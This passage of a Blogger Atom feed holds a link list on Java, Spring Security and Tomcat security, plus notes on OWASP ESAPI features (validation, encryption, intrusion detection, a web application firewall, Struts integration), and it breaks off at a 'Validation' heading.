<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2716531555213613403</id><updated>2025-05-25T17:31:10.898-07:00</updated><category term="Software Architecture"/><category term="CISSP"/><category term="Cloud Computing"/><category term="Software Architect"/><category term="ESB"/><category term="Grid Computing"/><category term="SCA"/><category term="Security"/><category term="Agile"/><category term="Architecture"/><category term="Component"/><category term="Composite"/><category term="FEA"/><category term="Gartner"/><category term="IBM cloud reference architecture"/><category term="JBI"/><category term="Multi-Tenancy"/><category term="Network Security"/><category term="SDLC"/><category term="SaaS"/><category term="Service Component Architecture"/><category term="Software development"/><category term="TOGAF"/><category term="Telecommunications Security"/><category term="Waterfall"/><category term="Zachman Framework"/><title type='text'>Software Architecture, Architects and Opinions</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-5507169294670226045</id><published>2013-06-22T20:39:00.000-07:00</published><updated>2013-06-22T20:39:00.729-07:00</updated><title type='text'>TODO: ESAPI, Spring Security, Tomcat</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Java Security:&lt;br /&gt;
&lt;a href=&quot;http://docs.redhat.com/docs/en-US/JBoss_Enterprise_Application_Platform/5/html/Security_Guide/chap-Java_EE_Security_Manager.html&quot;&gt;http://docs.redhat.com/docs/en-US/JBoss_Enterprise_Application_Platform/5/html/Security_Guide/chap-Java_EE_Security_Manager.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://java.sun.com/developer/onlineTraining/Programming/JDCBook/appA.html&quot;&gt;http://java.sun.com/developer/onlineTraining/Programming/JDCBook/appA.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://onjava.com/onjava/2007/01/03/discovering-java-security-requirements.html&quot;&gt;http://onjava.com/onjava/2007/01/03/discovering-java-security-requirements.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.techrepublic.com/article/java-security-policies-and-permission-management/6178805&quot;&gt;http://www.techrepublic.com/article/java-security-policies-and-permission-management/6178805&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spring&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;background-color: #eeeeee; border-bottom-color: rgb(168, 168, 168); border-bottom-style: solid; border-bottom-width: 0px; color: #666666; display: table; font-family: Arial, sans-serif; font-size: 18px; font-weight: 500; height: auto; line-height: 24px; margin: 0px 0px 0px -4px; padding: 0px; text-shadow: rgb(255, 255, 255) 0px 1px 0px; text-transform: uppercase; width: 488px;&quot;&gt;

&lt;a href=&quot;http://blog.springsource.org/2011/11/30/10317/&quot; rel=&quot;bookmark&quot; style=&quot;color: #0095d3; margin: 0px; padding: 0px; text-decoration: none;&quot; title=&quot;Permanent Link&quot;&gt;CROSS SITE REQUEST FORGERY AND OAUTH2&lt;/a&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;a href=&quot;http://java.dzone.com/tips/pathway-acegi-spring-security-&quot;&gt;http://java.dzone.com/tips/pathway-acegi-spring-security-&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://forum.springsource.org/showthread.php?93561-Remote-authentication-over-HTTP-Basic-Auth&quot;&gt;http://forum.springsource.org/showthread.php?93561-Remote-authentication-over-HTTP-Basic-Auth&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h1 style=&quot;border-bottom-width: 0px; color: #003366; font-family: Arial, sans-serif; font-size: 22px; line-height: 2; margin: 0px 0px 10px; padding: 0px; text-align: -webkit-auto; width: 1088px;&quot;&gt;

&lt;/h1&gt;
&lt;h1 style=&quot;border-bottom-width: 0px; color: #003366; font-family: Arial, sans-serif; font-size: 22px; line-height: 2; margin: 0px 0px 10px; padding: 0px; text-align: -webkit-auto; width: 1088px;&quot;&gt;

&lt;a href=&quot;http://www.josso.org/confluence/display/JOSSO1/JOSSO+-+Java+Open+Single+Sign-On+Project+Home&quot; style=&quot;color: #003366; text-decoration: none;&quot;&gt;JOSSO - Java Open Single Sign-On Project Home&lt;/a&gt;:&amp;nbsp;&lt;b style=&quot;background-color: white; font-family: Verdana, arial, sans-serif; font-size: 11px; line-height: 16px;&quot;&gt;JOSSO&lt;/b&gt;&lt;span style=&quot;background-color: white; font-family: Verdana, arial, sans-serif; font-size: 11px; line-height: 16px;&quot;&gt;&amp;nbsp;is an Open Source Internet SSO solution for rapid and standards-based (SAML) Internet-scale Single Sign-On implementations, allowing secure Internet access to the Web-based applications or services of customers, suppliers, and business partners.&lt;/span&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Verdana, arial, sans-serif; font-size: 11px; line-height: 16px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tomcat&lt;br /&gt;
&lt;a href=&quot;http://www.kopz.org/public/documents/tomcat/jaasintomcat.html&quot;&gt;http://www.kopz.org/public/documents/tomcat/jaasintomcat.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://raibledesigns.com/rd/entry/implementing_ajax_authentication_using_jquery&quot; style=&quot;color: black; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 16px; margin: 0px; padding: 0px; text-align: justify; text-decoration: none;&quot;&gt;Implementing Ajax Authentication using jQuery, Spring Security and HTTPS&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://raibledesigns.com/rd/entry/java_web_application_security_part&quot; style=&quot;color: black; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 16px; margin: 0px; padding: 0px; text-align: justify; text-decoration: none;&quot;&gt;Java Web Application Security - Part I: Java EE 6 Login Demo&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://raibledesigns.com/rd/entry/java_web_application_security_part1&quot; style=&quot;color: black; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 16px; margin: 0px; padding: 0px; text-align: justify;&quot;&gt;Java Web Application Security - Part II: Spring Security Login Demo&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://raibledesigns.com/rd/entry/java_web_application_security_part2&quot; style=&quot;color: black; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 16px; margin: 0px; padding: 0px; text-align: justify; text-decoration: none;&quot;&gt;Java Web Application Security - Part III: Apache Shiro Login Demo&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://raibledesigns.com/rd/entry/java_web_application_security_part3&quot; style=&quot;color: black; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 16px; margin: 0px; padding: 0px; text-align: justify; text-decoration: none;&quot;&gt;Java Web Application Security - Part IV: Programmatic Login APIs&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://java.dzone.com/articles/java-web-application-security-2&quot; target=&quot;_blank&quot;&gt;Java Web Application Security - Part IV: Programmatic Login APIs&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ESAPI&lt;br /&gt;
&lt;a href=&quot;https://lists.owasp.org/pipermail/owasp-esapi/2009-September/000883.html&quot;&gt;https://lists.owasp.org/pipermail/owasp-esapi/2009-September/000883.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h1 style=&quot;background-image: none; border: 0px; font-family: arial, sans-serif; font-size: x-large; margin-top: 0px; max-width: 700px; padding-left: 0px; text-align: -webkit-auto;&quot;&gt;

&lt;a href=&quot;http://code.google.com/p/owasp-esapi-java/wiki/esapi_contribs_spring_authenticator&quot; target=&quot;_blank&quot;&gt;ESAPI-Spring Authenticator&lt;/a&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://www.jtmelton.com/tag/esapi/&quot; target=&quot;_blank&quot;&gt;series of blog posts around ESAPI usage&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://java.net/downloads/satjug/ESAPI%20JUG.pdf&quot;&gt;http://java.net/downloads/satjug/ESAPI%20JUG.pdf&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/5507169294670226045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/07/todo-esapi-spring-security-tomcat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/5507169294670226045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/5507169294670226045'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/07/todo-esapi-spring-security-tomcat.html' title='TODO: ESAPI, Spring Security, Tomcat'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-8952574687364804879</id><published>2013-06-01T14:34:00.000-07:00</published><updated>2013-06-01T14:34:01.051-07:00</updated><title type='text'>Security: OWASP ESAPI</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;ESAPI&lt;/span&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Create a standardized mechanism for Java EE&amp;nbsp;applications to address security concerns&lt;/li&gt;
&lt;li&gt; ESAPI is NOT a framework. &amp;nbsp;It’s a set of well&amp;nbsp;defined interfaces and a reference&lt;/li&gt;
&lt;li&gt;implementation of the “right” way to do security&amp;nbsp;controls&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Input Validation &amp;amp; Encoding&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Canonicalizing - reducing a possibly encoded&amp;nbsp;string down to its simplest form.&lt;/li&gt;
&lt;li&gt;Double encoding is not something a user does so&amp;nbsp;generally regarded as an attack&lt;/li&gt;
&lt;li&gt;Encoding - various methods for different&amp;nbsp;destinations. Whitelist acceptable characters&amp;nbsp;and encode those that don’t pass muster&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Validating - after canonicalizing, ensures data is&amp;nbsp;of the correct type, in acceptable ranges, etc&lt;/li&gt;
&lt;li&gt;Supports either boolean returns or throwing&amp;nbsp;exceptions “to allow maximum flexibility because&lt;/li&gt;
&lt;li&gt;not all validation errors are security problems”&lt;/li&gt;
&lt;li&gt;safeReadLine() to prevent DoS attack&lt;/li&gt;
&lt;li&gt;File name and directory path validation&lt;/li&gt;
&lt;li&gt;Basic credit card validation&lt;/li&gt;
&lt;li&gt;AntiSamy protection&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;





Encryption&lt;/h3&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Reference implementation utilizes Java&amp;nbsp;Cryptography Extension (JCE)&lt;/li&gt;
&lt;li&gt;Ensure strong salt and password values are&amp;nbsp;used - takes away the chance for developers to&amp;nbsp;make poor choices for these crucial values&lt;/li&gt;
&lt;li&gt;Algorithms configurable via properties&lt;/li&gt;
&lt;li&gt;Seal - encrypts data and includes an expiration&amp;nbsp;timestamp&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;





Indirect Object References&lt;/h3&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Reference implementation includes 2 concrete&amp;nbsp;classes: integer based and random strings&lt;/li&gt;
&lt;li&gt;Defeats parameter tampering attacks&lt;/li&gt;
&lt;li&gt;Can help combat CSRF if per-user access&amp;nbsp;reference maps are used&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;





HTTP Utilities&lt;/h3&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Provides useful methods relating to request,&amp;nbsp;response, cookies, sessions, etc.&lt;/li&gt;
&lt;li&gt;addCSRFToken()&lt;/li&gt;
&lt;li&gt;changeSessionIdentifier()&lt;/li&gt;
&lt;li&gt;encrypt/decrypt fields&lt;/li&gt;
&lt;li&gt;safeXXX() methods for adding headers, sending&amp;nbsp;forwards &amp;amp; redirects to ensure character&amp;nbsp;encoding&lt;/li&gt;
&lt;li&gt;Reference implementation utilizes Apache Commons FileUploader&lt;/li&gt;
&lt;li&gt;Reference implementation relies on current&amp;nbsp;request &amp;amp; response being stored in ThreadLocal&amp;nbsp;variables - means you have to utilize the ESAPI&amp;nbsp;authenticator or explicitly call&amp;nbsp;ESAPI.authenticator().setCurrentHTTP()&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;





Authentication &amp;amp; Access Control&lt;/h3&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Reference implementation includes a file based&amp;nbsp;authenticator.&lt;/li&gt;
&lt;li&gt;Provides login/logout capabilities, user&amp;nbsp;authentication using hashed passwords&lt;/li&gt;
&lt;li&gt;Utility methods for password generation and to&amp;nbsp;ensure account name and password strength&lt;/li&gt;
&lt;li&gt;Carries out some of the required setup for other&amp;nbsp;components such as HTTPUtilities&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;





Intrusion Detection&lt;/h3&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Reference implementation has a default detector&amp;nbsp;that does rudimentary calculations of number of&amp;nbsp;errors per time period&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;





OWASP Top 10 and ESAPI mapping&lt;/h3&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Injection&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Encoder&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;XSS&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Validator, Encoder&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Malicious File Execution&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;HTTPUtilities(FileUpload)&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Insecure Direct Object Reference&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;AccessReferenceMap&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;CSRF&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;User(csrf token)&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Leakage and Improper Error handling&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;EnterpriseSecurityException, HttpUtils&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Broken Authentication and Sessions&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Authenticator, User, HttpUtils&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Insecure Cryptographic Storage&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Encryptor&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Failure to Restrict URL access&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;AccessController&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;font-size: x-large;&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Intrusion&amp;nbsp;Detection&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
To enable intrusion detection in your application, the only requirement is to configure it to be enabled in your ESAPI.properties file. Simply set the IntrusionDetector.Disable property to be false and you are in business. Once intrusion detection is enabled in your application, any exception that extends the EnterpriseSecurityException will raise an event that the intrusion detector can be configured to respond to.&lt;br /&gt;
&lt;br /&gt;
In the ESAPI.properties file you will find a section for IntrusionDetection with a sample configuration for events. You can add custom events here and configure what actions should be taken as well as thresholds for those events.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Introducing AppSensor&lt;/b&gt;&lt;br /&gt;
Some friends at OWASP took the ESAPI Intrusion Detector and some ideas that they had and built one of the most powerful application layer intrusion detection and prevention components available today. This project, called AppSensor - is built on top of ESAPI so it integrates seamlessly with ESAPI and provides fantastic protection to your application. I highly recommend using AppSensor for anything other than the most basic of intrusion detection and prevention needs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Encryption&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
performing the encryption and decryption of sensitive information is incredibly simple.&lt;br /&gt;
&lt;br /&gt;
view plainprint?&lt;br /&gt;
// Populate User Object from Request &lt;br /&gt;
// ... &lt;br /&gt;
// Encrypt Sensitive Information &lt;br /&gt;
CipherText encryptedSSN = ESAPI.encryptor().encrypt(new PlainText(userInfo.getSSN())); &lt;br /&gt;
userInfo.setSSN(new String(encryptedSSN.asPortableSerializedByteArray()); &lt;br /&gt;
// Persist User Object &lt;br /&gt;
// ... &lt;br /&gt;
&lt;br /&gt;
To decrypt the data is just as simple.&lt;br /&gt;
view plainprint?&lt;br /&gt;
// Retrieve persisted User Object &lt;br /&gt;
// ... &lt;br /&gt;
// Decrypt Sensitive Information &lt;br /&gt;
CipherText encryptedSSN = CipherText.fromPortableSerializedBytes(user.getSSN()); &lt;br /&gt;
PlainText decryptedSSN = ESAPI.encryptor().decrypt(encryptedSSN); &lt;br /&gt;
userInfo.setSSN(decryptedSSN.toString()); &lt;br /&gt;
// Prepare User Object for use in application &lt;br /&gt;
// ... &lt;br /&gt;
&lt;br /&gt;
Of course this can be abstracted into a service, added as an annotation processor in your persistence layer, and altered to be used in a more generic form that meets your specific platform needs. Additionally, depending on the type of information you are dealing with and the perceived risk of that information being leaked - it may make sense for the data to be encrypted all the time until it needs to be viewed or altered on the front end. This approach can also increase performance of the encryption and decryption because you are only ever performing this step when it is needed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;The ESAPI Web Application Firewall&lt;/span&gt;&lt;br /&gt;
This presentation was by Arshan Dabirsiaghi and was about the OWASP ESAPI Web Application Firewall (WAF) project. &amp;nbsp;My notes are below:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;WAF Fallacies&lt;/b&gt; (at least in regards to OWASP ESAPI WAF)&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;WAFs add attack surface&lt;/li&gt;
&lt;li&gt;WAFs can create culture problems&lt;/li&gt;
&lt;li&gt;WAFs can&#39;t fix business logic vulnerabilities&lt;/li&gt;
&lt;li&gt;WAFs are way too expensive&lt;/li&gt;
&lt;li&gt;WAFs complicate networks&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Why fix in ESAPI WAF vs Fix in code?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Changing in ESAPI WAF is just a text file&lt;/li&gt;
&lt;li&gt;Shorter gap between time discovered and WAF fix vs code fix&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Advantages of WAF&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Performance - Only your rules are checked, plus state is already managed by the app server&lt;/li&gt;
&lt;li&gt;Capability - being closer to the app lets us do more&lt;/li&gt;
&lt;li&gt;Process - Rules are closer to application owner, shortening discovery-to-patch time, also fix-to-patch-removal time&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Principle&lt;/b&gt;: Make common tasks easy, uncommon tasks possible.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Notes:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;General virtual patching functionality is easy to understand.&lt;/li&gt;
&lt;li&gt;Ability to write custom script rules as well &quot;bean-shell-rules&quot;&lt;/li&gt;
&lt;li&gt;Fixing Injection Flaws is easy.&lt;/li&gt;
&lt;li&gt;Can fix business logic flaws with the WAF (missing authentication, missing functional access control, missing data layer access control).&lt;/li&gt;
&lt;li&gt;Can add &quot;outbound&quot; security as well.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Add anti-clickjacking header&lt;/li&gt;
&lt;li&gt;Set uniform content-type&lt;/li&gt;
&lt;li&gt;Add HttpOnly flag&lt;/li&gt;
&lt;li&gt;Add secure flag&lt;/li&gt;
&lt;li&gt;Detect outbound information&lt;/li&gt;
&lt;li&gt;Replace outbound information&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Takes advantage of early failing to make rules as optimized as possible&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
Now we see the tool demonstrated with several different vulnerabilities in a real-world application (JForum):&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Cross-Site Scripting Flaw (JForum XSS flaw is unable to be fixed with a WAF because of dynamic URLs)&lt;/li&gt;
&lt;li&gt;Unchecked Redirect&lt;/li&gt;
&lt;li&gt;Add HttpOnly&lt;/li&gt;
&lt;li&gt;Add anti-clickjacking header&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;/ul&gt;
3 Different WAF Modes&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Log&lt;/li&gt;
&lt;li&gt;Block&lt;/li&gt;
&lt;li&gt;Redirect&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Latency with all of the rules turned on is about 5%. &amp;nbsp;With selected rules is closer to 0%. &amp;nbsp;Basically an order of n magnitude where n is the number of rules enabled. &amp;nbsp;Comes out to milliseconds.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Using ESAPI with Struts&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&amp;nbsp;extend the struts tag library and embed the ESAPI libraries within it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&amp;nbsp;The biggest advantage of this approach is that there are no or minimal changes required to JSP pages. You can retro fit this solution into existing struts 2 application. The only JSP’s you may need to change are ones that use the s:property tag directly which are outputting into a HTML attribute, JavaScript or CSS.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&amp;nbsp;Customizing the s:property Tag&lt;/h3&gt;
&lt;div&gt;
At the core of the struts tags there is the property tag (&amp;lt;s:property ../&amp;gt;). You’ll find that all the struts freemarker templates use the property tag within them for actually outputting the values, hence also becoming the core of the problem.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The main problem with the property tag is that it has few options for escaping the outputs by default (escape and escapeJavaScript), and then what escaping it does do is fairly limited. So to get around this we’ll create a more robust version of the property tag that has options to escape for HTML attribute, HTML value, CSS etc.&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


General Use&lt;/h3&gt;
&lt;div&gt;
The features of the new property tag can be used directly within a JSP page.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&amp;lt;s:property value=&quot;name&quot; escapeHtmlAttribute=&quot;true&quot;/&amp;gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
An additional feature added to the property tag is the encrypt attribute. Setting this attribute to true will encrypt the value. According to OWASP object ID’s should not be used on their own, but they should be encrypted. Having the encrypt attribute makes it very easy to folow this rule. The value has to be decrypted in the action code.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


Securing Inputs&lt;/h3&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Inputs in this instance includes securing HTML forms as well as general HTTP requests that are sent to your application.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Servlet Filter&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Checks for double encoded values&lt;/li&gt;
&lt;li&gt;Valid characters, it needs to be fairly broad though (printable characters)&lt;/li&gt;
&lt;li&gt;Canonicalization&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;ESAPI supplies the SecurityWrapper filter that will perform the above validation and sanitation. It can found under the following package: org.owasp.esapi.filters.SecurityWrapper&lt;/li&gt;
&lt;li&gt;The SecurityWrapper wraps up the HttpServletRequest and HttpServletResponse in it’s own copies. These wrappers validates and canoncalizes inputs included within the request as well as HTTP header values.&lt;/li&gt;
&lt;li&gt;The validation within the request and response wrappers is done using the ESAPI.validator().getValidInput(…) methods. The validation rules that this method uses is driven from the regular expressions set within the esapi.properties and validation.properties. The default expressions found within these properties files are very restrictive&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The same theory applies for values within HTML forms. Any hidden values should also be encrypted to stop tampering. The same technique described above can be used.&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


Validation&lt;/h3&gt;
&lt;div&gt;
